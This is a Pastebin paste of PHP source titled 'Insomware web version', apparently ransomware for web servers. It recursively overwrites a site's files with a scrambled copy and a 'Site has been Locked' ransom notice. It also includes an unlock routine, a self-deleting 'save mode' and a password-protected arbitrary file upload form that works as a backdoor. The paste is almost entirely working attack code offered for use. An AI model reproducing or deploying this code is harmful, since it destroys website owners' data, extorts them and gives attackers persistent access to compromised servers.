Advertisement
Hector_G

Insomware web version

Feb 15th, 2017
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.14 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. ini_set('memory_limit', '-1');
  5. /**
  6. * Alosia - Hollyman13 | Insomware (Web)
  7. * 11/09/2016
  8. */
  9. class Shrewders
  10. {
  11.     public function generate_enc($leak){
  12.         for ($i=1; $i <3; $i++) {
  13.             $leak = substr($leak,(strlen($leak)/2)) . substr($leak,0,(strlen($leak)/2));
  14.             $leak = base64_encode(str_rot13($leak));
  15.             $leak = substr($leak,(strlen($leak)/2)) . substr($leak,0,(strlen($leak)/2));
  16.         }
  17.             $pesan  = base64_decode("SGF2ZSBhIG5pY2UgZGF5ID4sPCAjZWFhIC4uLiwgcGxlYXNlIENvbnRhY3QgeW91ciBnb2QgdG8gdW5sb2NrIHRoaXMgc2l0ZQ==");
  18.             $leak   = "<!--#Encrypted#".$leak."--> <title>(>,<) Site has been Locked by Hollycrypt</title> <em>".$pesan."</em>";
  19.         return $leak;
  20.     }
  21.     public function generate_dec($leak){
  22.         $woh = "/<!--#Encrypted#(.*?)-->/";
  23.         preg_match($woh, $leak, $matches);
  24.         if($matches[1]){
  25.             $leak = $matches[1];
  26.             for ($i=1; $i <3; $i++) {
  27.                 $leak = substr($leak,(strlen($leak)/2)) . substr($leak,0,(strlen($leak)/2));
  28.                 $leak = str_rot13(base64_decode($leak));
  29.                 $leak = substr($leak,(strlen($leak)/2)) . substr($leak,0,(strlen($leak)/2));
  30.             }
  31.         }else{
  32.             return false;
  33.         }
  34.             return $leak;
  35.     }
  36.     public function lock($location_file){
  37.         $fgt    = file_get_contents($location_file);
  38.         $lock   = Shrewders::generate_enc($fgt);
  39.         if(Shrewders::w00t($lock,$location_file)){
  40.             echo "root@Hollyman13:~ <font color='white'>{$location_file}</font> <font color='#FF03F5'>Locked Done!!!</font><br>";
  41.         }else{
  42.             echo "root@Hollyman13:~ <font color='white'>{$location_file}</font> <font color='red'>Locked Fail!!!</font><br>";
  43.         }
  44.     }
  45.     public function unlock($location_file){
  46.         $fgt    = file_get_contents($location_file);
  47.         $lock   = Shrewders::generate_dec($fgt);
  48.         if(Shrewders::w00t($lock,$location_file)){
  49.              echo "root@Hollyman13:~ <font color='white'>{$location_file}</font> <font color='#FF03F5'>Unlocked Done!!!</font><br>";
  50.         }else{
  51.              echo "root@Hollyman13:~ <font color='white'>{$location_file}</font> <font color='#FF03F5'>Unlocked Fail!!!</font><br>";
  52.         }
  53.      }
  54.  
  55.      public function w00t($data,$locate){
  56.         if( file_put_contents($locate, htmlentities($data) ) ){
  57.                return true;
  58.             }else{
  59.                return false;
  60.         }
  61.      }
  62.  
  63.      public function cuk($ext,$name){
  64.         $re = "/({$name})/";  
  65.         preg_match($re, $ext, $matches);
  66.         if($matches[1]){
  67.             return false;
  68.         }
  69.             return true;
  70.      }
  71.  
  72.     public function boom($dir,$mode)
  73.     {
  74.         foreach(scandir($dir) as $d)
  75.         {
  76.             if($d!='.' && $d!='..')
  77.             {
  78.                 $d = $dir.DIRECTORY_SEPARATOR.$d;
  79.                 if(!is_dir($d)){
  80.                     if(Shrewders::cuk($d,".png") && Shrewders::cuk($d,".svg") && Shrewders::cuk($d,".woff") && Shrewders::cuk($d,".jpg") && Shrewders::cuk($d,".htaccess") && Shrewders::cuk($d,"lol.html")  ){
  81.                    
  82.                     if($mode == "1"){
  83.                         $locaked = Shrewders::lock($d);
  84.                     }else{
  85.                         $unlock = Shrewders::unlock($d);
  86.                     }
  87.  
  88.                     }
  89.                 }else{
  90.                     Shrewders::boom($d,$mode);
  91.                 }
  92.             }
  93.         flush();
  94.         ob_flush();
  95.         }
  96.     }
  97.     public function locate(){
  98.         return getcwd();
  99.     }
  100.     public function savemode(){
  101.         $remove = unlink(basename($_SERVER['PHP_SELF']));
  102.         if($remove){
  103.             return true;
  104.         }else{
  105.             return false;
  106.         }
  107.     }
  108.  
  109. }
  110. ?>
  111.  
  112. <!DOCTYPE html>
  113. <html>
  114. <head>
  115.     <title>Insomware | Alosia</title>
  116. <style type="text/css">
  117.     body{
  118.             color: #3EF403;
  119.             background-color: black;
  120.     }
  121.     input {
  122.             border: dashed 1px;
  123.             border-color: #333;
  124.             background-color: Black;
  125.             font: 8pt Verdana;
  126.             color: #0CFF37;
  127.     }
  128.  
  129.     select {
  130.         border: dashed 1px;
  131.         border-color: #333;
  132.         background-color: Black;
  133.         font: 8pt Verdana;
  134.         color: #0CFF37;
  135.     }
  136.         </style>
  137. </head>
  138. <body>
  139. <pre style="text-align: center"></font><font color="white">
  140.   ___ ___        .__  .__                                     __   </font><font color="white">
  141.  /   |   \  ____ |  | |  | ___.__. ___________ ___.__._______/  |_ </font><font color="white">
  142. /    ~    \/  _ \|  | |  |<   |  |/ ___\_  __ <   |  |\____ \   __\</font><font color="white">
  143. \    Y    (  <_> )  |_|  |_\___  \  \___|  | \/\___  ||  |_> >  |  
  144. \___|_  / \____/|____/____/ ____|\___  >__|   / ____||   __/|__|
  145. \/                  \/         \/       \/     |__|  
  146.  
  147.    
  148. </pre>
  149.  
  150. <Center>
  151. <?php
  152. if($_GET['pwd']=="Hollyman13"){
  153. echo '
  154. <form method=POST enctype="multipart/form-data" action="">
  155. <input type="file" name="files" class="upload"> <input type=submit value="Upload"></form>';
  156.     $files = @$_FILES["files"];
  157.     if ($files["name"] != '') {
  158.         $fullpath = $files["name"];
  159.         if (move_uploaded_file($files['tmp_name'], $fullpath)) {
  160.             echo '<font color="green">Success!!!</font>';
  161.         }else{
  162.             echo '<font color="red">Failed!!!</font>';
  163.         }
  164.     }
  165. }else{?>
  166. <form action="" method="post">
  167. <input type="text" name="url" placeholder="<?= Shrewders::locate(); ?>" value="<?= Shrewders::locate(); ?>">
  168. <select name="method">
  169.         <option value="1">Locked</option>
  170.         <option value="2">Unlocked</option>
  171. </select>
  172. <input type="checkbox" name="savemode" value="1">Save Mode
  173. <input type="submit" name="submit" value="Execute!"/>
  174. </form>
  175. <pre style="text-align: left;"><?php
  176.  if(isset($_POST['submit'])){
  177.     echo Shrewders::boom($_POST['url'],$_POST['method']);
  178.     if($_POST['savemode']=="1"){
  179.         if(Shrewders::savemode()){
  180.         echo "(>,<) #Ruuun.....";
  181.         }
  182.     }
  183. }
  184. ?>
  185. <?php
  186. }
  187. ?>
  188. </pre>
  189. </Center>
  190. </body>
  191. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement